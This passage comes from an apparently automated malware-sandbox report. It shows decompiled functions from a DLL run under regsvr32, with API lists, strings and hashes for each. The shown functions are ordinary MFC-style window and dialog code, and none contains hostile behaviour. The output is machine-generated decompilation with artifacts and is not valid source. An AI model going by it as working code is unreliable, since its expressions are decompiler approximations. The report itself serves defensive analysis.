					GetClientRect(_t121,  &_v44);
					MapWindowPoints(_t121, _t107,  &_v44, 2);
				} else {
					if(_t121 != 0) {
						_t103 = GetWindowLongA(_t121, 0xfffffff0);
						if((_t103 & 0x10000000) == 0 || (_t103 & 0x20000000) != 0) {
							_t121 = 0;
						}
					}
					_v100 = 0x28;
					if(_t121 != 0) {
						GetWindowRect(_t121,  &_v44);
						E1000D86F(_t121, E1000D804(_t121, 2),  &_v100);
						CopyRect( &_v28,  &_v80);
					} else {
						_t94 = E1000A7CE();
						if(_t94 != 0) {
							_t94 =  *((intOrPtr*)(_t94 + 0x20));
						}
						E1000D86F(_t121, E1000D804(_t94, 1),  &_v100);
						CopyRect( &_v44,  &_v80);
						CopyRect( &_v28,  &_v80);
					}
				}
				_t108 = _v60.left;
				asm("cdq");
				_t123 = _v60.right - _t108;
				asm("cdq");
				_t120 = _v44.bottom;
				_t116 = (_v44.left + _v44.right - _t119 >> 1) - (_t123 - _t119 >> 1);
				_a4 = _v60.bottom - _v60.top;
				asm("cdq");
				asm("cdq");
				_t129 = (_v44.top + _v44.bottom - _v44.bottom >> 1) - (_a4 - _t120 >> 1);
				if(_t116 >= _v28.left) {
					if(_t123 + _t116 > _v28.right) {
						_t116 = _t108 - _v60.right + _v28.right;
					}
				} else {
					_t116 = _v28.left;
				}
				if(_t129 >= _v28.top) {
					if(_a4 + _t129 > _v28.bottom) {
						_t129 = _v60.top - _v60.bottom + _v28.bottom;
					}
				} else {
					_t129 = _v28.top;
				}
				return E1001297A(_v12, 0, _t116, _t129, 0xffffffff, 0xffffffff, 0x15);
			}

0x1000f530
0x1000f530
0x1000f537
0x1000f53a
0x1000f542
0x1000f545
0x1000f54a
0x1000f558
0x1000f56a
0x1000f55a
0x1000f55d
0x1000f55d
0x1000f570
0x1000f574
0x1000f580
0x1000f588
0x1000f58a
0x1000f58a
0x1000f588
0x1000f54c
0x1000f54c
0x1000f54c
0x1000f54c
0x1000f58c
0x1000f59a
0x1000f5a3
0x1000f643
0x1000f64a
0x1000f651
0x1000f65b
0x1000f5a9
0x1000f5ab
0x1000f5b0
0x1000f5bb
0x1000f5c4
0x1000f5c4
0x1000f5bb
0x1000f5c8
0x1000f5cf
0x1000f610
0x1000f61f
0x1000f62c
0x1000f5d1
0x1000f5d1
0x1000f5d8
0x1000f5da
0x1000f5da
0x1000f5ea
0x1000f5fd
0x1000f607
0x1000f607
0x1000f5cf
0x1000f66a
0x1000f66f
0x1000f674
0x1000f678
0x1000f67b
0x1000f682
0x1000f68a
0x1000f692
0x1000f69a
0x1000f6a1
0x1000f6a6
0x1000f6b2
0x1000f6ba
0x1000f6ba
0x1000f6a8
0x1000f6a8
0x1000f6a8
0x1000f6c0
0x1000f6cf
0x1000f6d7
0x1000f6d7
0x1000f6c2
0x1000f6c2
0x1000f6c2
0x1000f6ef

APIs

Part of subcall function 10012862: GetWindowLongA.USER32 ref: 1001286D

GetParent.USER32(?), ref: 1000F55D
SendMessageA.USER32 ref: 1000F580
GetWindowRect.USER32 ref: 1000F59A
GetWindowLongA.USER32 ref: 1000F5B0
CopyRect.USER32 ref: 1000F5FD
CopyRect.USER32 ref: 1000F607
GetWindowRect.USER32 ref: 1000F610
CopyRect.USER32 ref: 1000F62C

Strings

(, xrefs: 1000F5C8

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: Rect$Window$Copy$Long$MessageParentSend
String ID: (
API String ID: 808654186-3887548279
Opcode ID: 7a74a446788f1e642fa1c3aef1600eb5c5d71207166799e974e91dfaab450861
Instruction ID: 3f3129d87232bc90929dbfd76231b55f7e5f3d8dd267dcccc126c4261812b80e
Opcode Fuzzy Hash: 7a74a446788f1e642fa1c3aef1600eb5c5d71207166799e974e91dfaab450861
Instruction Fuzzy Hash: 84517072900619AFEB00DFA8CC85EEEBBB9EF48290F154119FA05F3594DB30ED419B60

Uniqueness

Uniqueness Score: -1.00%

Function 1000A1F9, Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 56
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000A1F9(intOrPtr* __ecx, void* __esi, intOrPtr _a4) {
				void* __ebx;
				void* __edi;
				void* __ebp;
				_Unknown_base(*)()* _t9;
				struct HINSTANCE__* _t15;
				void* _t16;
				intOrPtr* _t18;
				char _t19;
				intOrPtr _t21;
				_Unknown_base(*)()* _t22;
				_Unknown_base(*)()* _t23;

				_t16 = __esi;
				_t12 = __ecx;
				_t18 = __ecx;
				 *__ecx = _a4;
				_a4 = 0;
				_t19 =  *0x10058f2c; // 0x0
				if(_t19 == 0) {
					_t15 = GetModuleHandleA("KERNEL32");
					_t20 = _t15;
					if(_t15 == 0) {
						L2:
						E1000A0DB(0, _t12, _t15, _t16, _t20);
					}
					 *0x10058f1c = GetProcAddress(_t15, "CreateActCtxA");
					 *0x10058f20 = GetProcAddress(_t15, "ReleaseActCtx");
					 *0x10058f24 = GetProcAddress(_t15, "ActivateActCtx");
					_t9 = GetProcAddress(_t15, "DeactivateActCtx");
					_t21 =  *0x10058f1c; // 0x0
					 *0x10058f28 = _t9;
					_t16 = _t16;
					if(_t21 == 0) {
						__eflags =  *0x10058f20; // 0x0
						if(__eflags != 0) {
							goto L2;
						} else {
							__eflags =  *0x10058f24; // 0x0
							if(__eflags != 0) {
								goto L2;
							} else {
								__eflags = _t9;
								if(__eflags != 0) {
									goto L2;
								}
							}
						}
					} else {
						_t22 =  *0x10058f20; // 0x0
						if(_t22 == 0) {
							goto L2;
						} else {
							_t23 =  *0x10058f24; // 0x0
							if(_t23 == 0) {
								goto L2;
							} else {
								_t20 = _t9;
								if(_t9 == 0) {
									goto L2;
								}
							}
						}
					}
					 *0x10058f2c = 1;
				}
				return _t18;
			}

0x1000a1f9
0x1000a1f9
0x1000a1ff
0x1000a203
0x1000a206
0x1000a209
0x1000a210
0x1000a221
0x1000a223
0x1000a225
0x1000a227
0x1000a227
0x1000a227
0x1000a241
0x1000a24e
0x1000a25b
0x1000a260
0x1000a262
0x1000a268
0x1000a26d
0x1000a26e
0x1000a286
0x1000a28c
0x00000000
0x1000a28e
0x1000a28e
0x1000a294
0x00000000
0x1000a296
0x1000a296
0x1000a298
0x00000000
0x00000000
0x1000a298
0x1000a294
0x1000a270
0x1000a270
0x1000a276
0x00000000
0x1000a278
0x1000a278
0x1000a27e
0x00000000
0x1000a280
0x1000a280
0x1000a282
0x00000000
0x1000a284
0x1000a282
0x1000a27e
0x1000a276
0x1000a29a
0x1000a29a
0x1000a2a6

APIs

GetModuleHandleA.KERNEL32(KERNEL32,00000000,?,00000020,1000ACB1,000000FF), ref: 1000A21B
GetProcAddress.KERNEL32(00000000,CreateActCtxA), ref: 1000A239
GetProcAddress.KERNEL32(00000000,ReleaseActCtx), ref: 1000A246
GetProcAddress.KERNEL32(00000000,ActivateActCtx), ref: 1000A253
GetProcAddress.KERNEL32(00000000,DeactivateActCtx), ref: 1000A260

Strings

CreateActCtxA, xrefs: 1000A233
ReleaseActCtx, xrefs: 1000A23B
KERNEL32, xrefs: 1000A216
ActivateActCtx, xrefs: 1000A248
DeactivateActCtx, xrefs: 1000A255

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: ActivateActCtx$CreateActCtxA$DeactivateActCtx$KERNEL32$ReleaseActCtx
API String ID: 667068680-3617302793
Opcode ID: 8958f846425cfb9847c1ef030b437731261e480fa3a980f3a7b160ae38ca1aab
Instruction ID: c20c66116e7296d4a0afd5037f2dffc74684b1862cb446d2da729e570b87d5d5
Opcode Fuzzy Hash: 8958f846425cfb9847c1ef030b437731261e480fa3a980f3a7b160ae38ca1aab
Instruction Fuzzy Hash: 3611C076C04266EBFB10DFA9ACC45097BE5E74F2D8301423FEA05A2124D7720980CF15

Uniqueness

Uniqueness Score: -1.00%

Function 1000CB74, Relevance: 16.6, APIs: 11, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E1000CB74(void* __ebx, signed int __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t54;
				void* _t58;
				signed int _t59;
				signed int _t63;
				signed short _t71;
				signed int _t84;
				void* _t94;
				struct HINSTANCE__* _t96;
				signed int _t97;
				void* _t98;
				signed int _t100;
				void* _t101;
				void* _t102;

				_t102 = __eflags;
				_t94 = __edx;
				_push(0x24);
				E10017BF4(E10028029, __ebx, __edi, __esi);
				_t100 = __ecx;
				 *((intOrPtr*)(_t101 - 0x20)) = __ecx;
				 *(_t101 - 0x1c) =  *(__ecx + 0x60);
				 *(_t101 - 0x18) =  *(__ecx + 0x5c);
				_t54 = E1000D5EC(__ebx, __edi, __ecx, _t102);
				_t96 =  *(_t54 + 0xc);
				_t84 = 0;
				_t103 =  *(_t100 + 0x58);
				if( *(_t100 + 0x58) != 0) {
					_t96 =  *(E1000D5EC(0, _t96, _t100, _t103) + 0xc);
					_t54 = LoadResource(_t96, FindResourceA(_t96,  *(_t100 + 0x58), 5));
					 *(_t101 - 0x18) = _t54;
				}
				if( *(_t101 - 0x18) != _t84) {
					_t54 = LockResource( *(_t101 - 0x18));
					 *(_t101 - 0x1c) = _t54;
				}
				if( *(_t101 - 0x1c) != _t84) {
					_t86 = _t100;
					 *(_t101 - 0x14) = E1000C6AC(_t84, _t100, __eflags);
					E1000FC04(_t84, _t96, __eflags);
					 *(_t101 - 0x28) =  *(_t101 - 0x28) & _t84;
					__eflags =  *(_t101 - 0x14) - _t84;
					 *(_t101 - 0x2c) = _t84;
					 *(_t101 - 0x24) = _t84;
					if(__eflags != 0) {
						__eflags =  *(_t101 - 0x14) - GetDesktopWindow();
						if(__eflags != 0) {
							__eflags = IsWindowEnabled( *(_t101 - 0x14));
							if(__eflags != 0) {
								EnableWindow( *(_t101 - 0x14), 0);
								 *(_t101 - 0x2c) = 1;
								_t84 = E1000A7CE();
								__eflags = _t84;
								 *(_t101 - 0x24) = _t84;
								if(__eflags != 0) {
									_t86 = _t84;
									__eflags =  *((intOrPtr*)( *_t84 + 0x120))();
									if(__eflags != 0) {
										_t86 = _t84;
										__eflags = E100128F8(_t84);
										if(__eflags != 0) {
											_t86 = _t84;
											E10012913(_t84, 0);
											 *(_t101 - 0x28) = 1;
										}
									}
								}
							}
						}
					}
					 *(_t101 - 4) =  *(_t101 - 4) & 0x00000000;
					E100115DC(_t96, __eflags, _t100);
					_t58 = E1000FB5C(_t84, _t86, _t101,  *(_t101 - 0x14));
					_push(_t96);
					_push(_t58);
					_push( *(_t101 - 0x1c));
					_t59 = E1000C984(_t84, _t100, _t94, _t96, _t100, __eflags);
					_t97 = 0;
					__eflags = _t59;
					if(_t59 != 0) {
						__eflags =  *(_t100 + 0x3c) & 0x00000010;
						if(( *(_t100 + 0x3c) & 0x00000010) != 0) {
							_t98 = 4;
							_t71 = E10012862(_t100);
							__eflags = _t71 & 0x00000100;
							if((_t71 & 0x00000100) != 0) {
								_t98 = 5;
							}
							E1000F6F2(_t100, _t98);
							_t97 = 0;
							__eflags = 0;
						}
						__eflags =  *((intOrPtr*)(_t100 + 0x20)) - _t97;
						if( *((intOrPtr*)(_t100 + 0x20)) != _t97) {
							E1001297A(_t100, _t97, _t97, _t97, _t97, _t97, 0x97);
						}
					}
					 *(_t101 - 4) =  *(_t101 - 4) | 0xffffffff;
					__eflags =  *(_t101 - 0x28) - _t97;
					if( *(_t101 - 0x28) != _t97) {
						E10012913(_t84, 1);
					}
					__eflags =  *(_t101 - 0x2c) - _t97;
					if( *(_t101 - 0x2c) != _t97) {
						EnableWindow( *(_t101 - 0x14), 1);
					}
					__eflags =  *(_t101 - 0x14) - _t97;
					if(__eflags != 0) {
						__eflags = GetActiveWindow() -  *((intOrPtr*)(_t100 + 0x20));
						if(__eflags == 0) {
							SetActiveWindow( *(_t101 - 0x14));
						}
					}
					 *((intOrPtr*)( *_t100 + 0x60))();
					E1000C6E6(_t84, _t100, _t97, _t100, __eflags);
					__eflags =  *(_t100 + 0x58) - _t97;
					if( *(_t100 + 0x58) != _t97) {
						FreeResource( *(_t101 - 0x18));
					}
					_t63 =  *(_t100 + 0x44);
					goto L31;
				} else {
					_t63 = _t54 | 0xffffffff;
					L31:
					return E10017C60(_t63);
				}
			}

0x1000cb74
0x1000cb74
0x1000cb74
0x1000cb7b
0x1000cb80
0x1000cb82
0x1000cb88
0x1000cb8e
0x1000cb91
0x1000cb96
0x1000cb99
0x1000cb9b
0x1000cb9e
0x1000cba5
0x1000cbb6
0x1000cbbc
0x1000cbbc
0x1000cbc2
0x1000cbc7
0x1000cbcd
0x1000cbcd
0x1000cbd3
0x1000cbdd
0x1000cbe4
0x1000cbe7
0x1000cbec
0x1000cbef
0x1000cbf2
0x1000cbf5
0x1000cbf8
0x1000cc00
0x1000cc03
0x1000cc0e
0x1000cc10
0x1000cc17
0x1000cc1d
0x1000cc29
0x1000cc2b
0x1000cc2d
0x1000cc30
0x1000cc34
0x1000cc3c
0x1000cc3e
0x1000cc40
0x1000cc47
0x1000cc49
0x1000cc4d
0x1000cc4f
0x1000cc54
0x1000cc54
0x1000cc49
0x1000cc3e
0x1000cc30
0x1000cc10
0x1000cc03
0x1000cc5b
0x1000cc60
0x1000cc68
0x1000cc6d
0x1000cc6e
0x1000cc6f
0x1000cc74
0x1000cc79
0x1000cc7b
0x1000cc7d
0x1000cc7f
0x1000cc83
0x1000cc87
0x1000cc8a
0x1000cc8f
0x1000cc93
0x1000cc97
0x1000cc97
0x1000cc9b
0x1000cca0
0x1000cca0
0x1000cca0
0x1000cca2
0x1000cca5
0x1000ccb3
0x1000ccb3
0x1000cca5
0x1000ccb8
0x1000ccdb
0x1000ccde
0x1000cce4
0x1000cce4
0x1000cce9
0x1000ccec
0x1000ccf3
0x1000ccf3
0x1000ccf9
0x1000ccfc
0x1000cd04
0x1000cd07
0x1000cd0c
0x1000cd0c
0x1000cd07
0x1000cd16
0x1000cd1b
0x1000cd20
0x1000cd23
0x1000cd28
0x1000cd28
0x1000cd2e
0x00000000
0x1000cbd5
0x1000cbd5
0x1000cd31
0x1000cd36
0x1000cd36

APIs

__EH_prolog3_catch.LIBCMT ref: 1000CB7B
FindResourceA.KERNEL32(?,?,00000005), ref: 1000CBAE
LoadResource.KERNEL32(?,00000000), ref: 1000CBB6
LockResource.KERNEL32(?,00000024,100014EC,00000000,CE1C5B24), ref: 1000CBC7
GetDesktopWindow.USER32 ref: 1000CBFA
IsWindowEnabled.USER32(?), ref: 1000CC08
EnableWindow.USER32(?,00000000), ref: 1000CC17

Part of subcall function 100128F8: IsWindowEnabled.USER32(?), ref: 10012901

Part of subcall function 10012913: EnableWindow.USER32(?,CE1C5B24), ref: 10012920

EnableWindow.USER32(?,00000001), ref: 1000CCF3
GetActiveWindow.USER32 ref: 1000CCFE
SetActiveWindow.USER32(?,?,00000024,100014EC,00000000,CE1C5B24), ref: 1000CD0C
FreeResource.KERNEL32(?,?,00000024,100014EC,00000000,CE1C5B24), ref: 1000CD28

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: Window$Resource$Enable$ActiveEnabled$DesktopFindFreeH_prolog3_catchLoadLock
String ID:
API String ID: 1509511306-0
Opcode ID: 79ae930f89578103c1460a1015ac81056dc0f6867cd803f5cb3b8be9090631d6
Instruction ID: 8f78f448105f665873ac1cd7b5fa33a3343bcf420d8a1ae80c8a79bff85a7528
Opcode Fuzzy Hash: 79ae930f89578103c1460a1015ac81056dc0f6867cd803f5cb3b8be9090631d6
Instruction Fuzzy Hash: A251BF34A007098BFF11DFA5C999EAEBBF1EF44781F20002EE506A6195CB759E41CF55

Uniqueness

Uniqueness Score: -1.00%

Function 10011245, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E10011245(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				_Unknown_base(*)()* _t31;
				void* _t33;
				void* _t34;
				void* _t40;
				void* _t43;
				void* _t60;
				void* _t64;
				struct HWND__* _t66;
				CHAR* _t68;
				void* _t71;

				_t64 = __edx;
				_t60 = __ecx;
				_push(0x40);
				E10017BF4(E1002864B, __ebx, __edi, __esi);
				_t66 =  *(_t71 + 8);
				_t68 = "AfxOldWndProc423";
				_t31 = GetPropA(_t66, _t68);
				 *(_t71 - 0x14) =  *(_t71 - 0x14) & 0x00000000;
				 *(_t71 - 4) =  *(_t71 - 4) & 0x00000000;
				 *(_t71 - 0x18) = _t31;
				_t58 = 1;
				_t33 =  *(_t71 + 0xc) - 6;
				if(_t33 == 0) {
					_t34 = E1000FB5C(1, _t60, _t71,  *(_t71 + 0x14));
					E10011159(_t60, E1000FB5C(1, _t60, _t71, _t66),  *(_t71 + 0x10), _t34);
					goto L9;
				} else {
					_t40 = _t33 - 0x1a;
					if(_t40 == 0) {
						_t58 = 0 | E100111CF(1, _t66, E1000FB5C(1, _t60, _t71, _t66),  *(_t71 + 0x14),  *(_t71 + 0x14) >> 0x10) == 0x00000000;
						L9:
						if(_t58 != 0) {
							goto L10;
						}
					} else {
						_t43 = _t40 - 0x62;
						if(_t43 == 0) {
							SetWindowLongA(_t66, 0xfffffffc,  *(_t71 - 0x18));
							RemovePropA(_t66, _t68);
							GlobalDeleteAtom(GlobalFindAtomA(_t68));
							goto L10;
						} else {
							if(_t43 != 0x8e) {
								L10:
								 *(_t71 - 0x14) = CallWindowProcA( *(_t71 - 0x18), _t66,  *(_t71 + 0xc),  *(_t71 + 0x10),  *(_t71 + 0x14));
							} else {
								E1000E865(E1000FB5C(1, _t60, _t71, _t66), _t71 - 0x30, _t71 - 0x1c);
								 *(_t71 - 0x14) = CallWindowProcA( *(_t71 - 0x18), _t66, 0x110,  *(_t71 + 0x10),  *(_t71 + 0x14));
								E100100F3(1, _t64, _t49, _t71 - 0x30,  *((intOrPtr*)(_t71 - 0x1c)));
							}
						}
					}
				}
				return E10017C60( *(_t71 - 0x14));
			}

0x10011245
0x10011245
0x10011245
0x1001124c
0x10011251
0x10011254
0x1001125b
0x10011261
0x10011265
0x10011269
0x10011271
0x10011272
0x10011275
0x1001131e
0x10011330
0x00000000
0x1001127b
0x1001127b
0x1001127e
0x10011316
0x10011335
0x10011337
0x00000000
0x00000000
0x10011280
0x10011280
0x10011283
0x100112dc
0x100112e4
0x100112f2
0x00000000
0x10011285
0x1001128a
0x10011339
0x1001134c
0x10011290
0x100112a1
0x100112be
0x100112c6
0x100112c6
0x1001128a
0x10011283
0x1001127e
0x100112d3

APIs

__EH_prolog3_catch.LIBCMT ref: 1001124C
GetPropA.USER32 ref: 1001125B
CallWindowProcA.USER32 ref: 100112B5

Part of subcall function 100100F3: GetWindowRect.USER32 ref: 1001011B
Part of subcall function 100100F3: GetWindow.USER32(?,00000004), ref: 10010138

SetWindowLongA.USER32(?,000000FC,?), ref: 100112DC
RemovePropA.USER32 ref: 100112E4
GlobalFindAtomA.KERNEL32 ref: 100112EB
GlobalDeleteAtom.KERNEL32(00000000), ref: 100112F2

Part of subcall function 1000E865: GetWindowRect.USER32 ref: 1000E871

CallWindowProcA.USER32 ref: 10011346

Strings

AfxOldWndProc423, xrefs: 10011254, 10011259, 100112E2, 100112EA

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: Window$AtomCallGlobalProcPropRect$DeleteFindH_prolog3_catchLongRemove
String ID: AfxOldWndProc423
API String ID: 2702501687-1060338832
Opcode ID: 8fd6b985b15a6b43d9e50dafe11c9ce611adcf5e5826660702256a507342a875
Instruction ID: 0d19250562dc5a9dad551a697ef26f9b08052b09a3581b526b6705a222a2b98b
Opcode Fuzzy Hash: 8fd6b985b15a6b43d9e50dafe11c9ce611adcf5e5826660702256a507342a875
Instruction Fuzzy Hash: 2D317F7680021ABBDF05DFA0CD89EFF7FB9FF05651F100118F611A6051DB359A61ABA1

Uniqueness

Uniqueness Score: -1.00%

Function 1000C984, Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 158
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E1000C984(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t65;
				signed int _t72;
				signed int _t74;
				struct HWND__* _t75;
				signed int _t78;
				signed int _t95;
				intOrPtr* _t103;
				signed int _t110;
				void* _t124;
				signed int _t129;
				DLGTEMPLATE* _t130;
				struct HWND__* _t131;
				void* _t132;

				_t128 = __esi;
				_t124 = __edx;
				_t104 = __ecx;
				_push(0x3c);
				E10017BF4(E1002800E, __ebx, __edi, __esi);
				_t103 = __ecx;
				 *((intOrPtr*)(_t132 - 0x20)) = __ecx;
				_t136 =  *(_t132 + 0x10);
				if( *(_t132 + 0x10) == 0) {
					 *(_t132 + 0x10) =  *(E1000D5EC(__ecx, 0, __esi, _t136) + 0xc);
				}
				_t129 =  *(E1000D5EC(_t103, 0, _t128, _t136) + 0x3c);
				 *(_t132 - 0x28) = _t129;
				 *(_t132 - 0x14) = 0;
				 *(_t132 - 4) = 0;
				E10012406(_t103, _t104, 0, _t129, _t136, 0x10);
				E10012406(_t103, _t104, 0, _t129, _t136, 0x7c000);
				if(_t129 == 0) {
					_t130 =  *(_t132 + 8);
					L7:
					__eflags = _t130;
					if(_t130 == 0) {
						L4:
						_t65 = 0;
						L32:
						return E10017C60(_t65);
					}
					E10009E23(_t132 - 0x1c, E10013479());
					 *(_t132 - 4) = 1;
					 *((intOrPtr*)(_t132 - 0x18)) = 0;
					__eflags = E10014A97(__eflags, _t130, _t132 - 0x1c, _t132 - 0x18);
					__eflags =  *0x1005aa84; // 0x0
					_t72 = 0 | __eflags == 0x00000000;
					if(__eflags == 0) {
						L14:
						__eflags = _t72;
						if(__eflags == 0) {
							L17:
							 *(_t103 + 0x44) =  *(_t103 + 0x44) | 0xffffffff;
							 *(_t103 + 0x3c) =  *(_t103 + 0x3c) | 0x00000010;
							E100115DC(0, __eflags, _t103);
							_t74 =  *(_t132 + 0xc);
							__eflags = _t74;
							if(_t74 != 0) {
								_t75 =  *(_t74 + 0x20);
							} else {
								_t75 = 0;
							}
							_t131 = CreateDialogIndirectParamA( *(_t132 + 0x10), _t130, _t75, E1000C402, 0);
							E10009CB7( *((intOrPtr*)(_t132 - 0x1c)) + 0xfffffff0, _t124);
							 *(_t132 - 4) =  *(_t132 - 4) | 0xffffffff;
							_t110 =  *(_t132 - 0x28);
							__eflags = _t110;
							if(__eflags != 0) {
								 *((intOrPtr*)( *_t110 + 0x18))(_t132 - 0x48);
								__eflags = _t131;
								if(__eflags != 0) {
									 *((intOrPtr*)( *_t103 + 0x12c))(0);
								}
							}
							_t78 = E1000FC04(_t103, 0, __eflags);
							__eflags = _t78;
							if(_t78 == 0) {
								 *((intOrPtr*)( *_t103 + 0x114))();
							}
							__eflags = _t131;
							if(_t131 != 0) {
								__eflags =  *(_t103 + 0x3c) & 0x00000010;
								if(( *(_t103 + 0x3c) & 0x00000010) == 0) {
									DestroyWindow(_t131);
									_t131 = 0;
									__eflags = 0;
								}
							}
							__eflags =  *(_t132 - 0x14);
							if( *(_t132 - 0x14) != 0) {
								GlobalUnlock( *(_t132 - 0x14));
								GlobalFree( *(_t132 - 0x14));
							}
							__eflags = _t131;
							_t59 = _t131 != 0;
							__eflags = _t59;
							_t65 = 0 | _t59;
							goto L32;
						}
						L15:
						E10014A60(_t103, _t132 - 0x38, 0, _t132, _t130);
						 *(_t132 - 4) = 2;
						E100149BE(_t132 - 0x38,  *((intOrPtr*)(_t132 - 0x18)));
						 *(_t132 - 0x14) = E100146D7(_t132 - 0x38);
						 *(_t132 - 4) = 1;
						E100146C9(_t132 - 0x38);
						__eflags =  *(_t132 - 0x14);
						if(__eflags != 0) {
							_t130 = GlobalLock( *(_t132 - 0x14));
						}
						goto L17;
					}
					__eflags = _t72;
					if(_t72 != 0) {
						goto L15;
					}
					__eflags = GetSystemMetrics(0x2a);
					if(__eflags == 0) {
						goto L17;
					}
					_t95 = E1000C95C(_t132 - 0x1c, "MS Shell Dlg");
					__eflags = _t95;
					_t72 = 0 | _t95 == 0x00000000;
					__eflags = _t72;
					if(__eflags == 0) {
						goto L17;
					}
					__eflags =  *((short*)(_t132 - 0x18)) - 8;
					if( *((short*)(_t132 - 0x18)) == 8) {
						 *((intOrPtr*)(_t132 - 0x18)) = 0;
					}
					goto L14;
				}
				_push(_t132 - 0x48);
				if( *((intOrPtr*)( *_t103 + 0x12c))() != 0) {
					_t130 =  *((intOrPtr*)( *_t129 + 0x14))(_t132 - 0x48,  *(_t132 + 8));
					goto L7;
				}
				goto L4;
			}

0x1000c984
0x1000c984
0x1000c984
0x1000c984
0x1000c98b
0x1000c990
0x1000c992
0x1000c997
0x1000c99a
0x1000c9a4
0x1000c9a4
0x1000c9ac
0x1000c9b1
0x1000c9b4
0x1000c9b7
0x1000c9ba
0x1000c9c4
0x1000c9cb
0x1000c9f8
0x1000c9fb
0x1000c9fb
0x1000c9fd
0x1000c9df
0x1000c9df
0x1000cb6c
0x1000cb71
0x1000cb71
0x1000ca08
0x1000ca16
0x1000ca1a
0x1000ca27
0x1000ca2c
0x1000ca32
0x1000ca34
0x1000ca6a
0x1000ca6a
0x1000ca6c
0x1000caad
0x1000caad
0x1000cab1
0x1000cab6
0x1000cabb
0x1000cabe
0x1000cac0
0x1000cac6
0x1000cac2
0x1000cac2
0x1000cac2
0x1000cae0
0x1000cae2
0x1000cae7
0x1000cb09
0x1000cb0c
0x1000cb0e
0x1000cb16
0x1000cb19
0x1000cb1b
0x1000cb22
0x1000cb22
0x1000cb1b
0x1000cb28
0x1000cb2d
0x1000cb2f
0x1000cb35
0x1000cb35
0x1000cb3b
0x1000cb3d
0x1000cb3f
0x1000cb43
0x1000cb46
0x1000cb4c
0x1000cb4c
0x1000cb4c
0x1000cb43
0x1000cb4e
0x1000cb51
0x1000cb56
0x1000cb5f
0x1000cb5f
0x1000cb67
0x1000cb69
0x1000cb69
0x1000cb69
0x00000000
0x1000cb69
0x1000ca6e
0x1000ca72
0x1000ca7d
0x1000ca81
0x1000ca91
0x1000ca94
0x1000ca98
0x1000ca9d
0x1000caa0
0x1000caab
0x1000caab
0x00000000
0x1000caa0
0x1000ca36
0x1000ca38
0x00000000
0x00000000
0x1000ca42
0x1000ca44
0x00000000
0x00000000
0x1000ca4e
0x1000ca55
0x1000ca5a
0x1000ca5c
0x1000ca5e
0x00000000
0x00000000
0x1000ca60
0x1000ca65
0x1000ca67
0x1000ca67
0x00000000
0x1000ca65
0x1000c9d2
0x1000c9dd
0x1000c9f4
0x00000000
0x1000c9f4
0x00000000

APIs

__EH_prolog3_catch.LIBCMT ref: 1000C98B
GetSystemMetrics.USER32 ref: 1000CA3C
GlobalLock.KERNEL32 ref: 1000CAA5
CreateDialogIndirectParamA.USER32(?,?,?,1000C402,00000000), ref: 1000CAD4

Strings

MS Shell Dlg, xrefs: 1000CA46

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
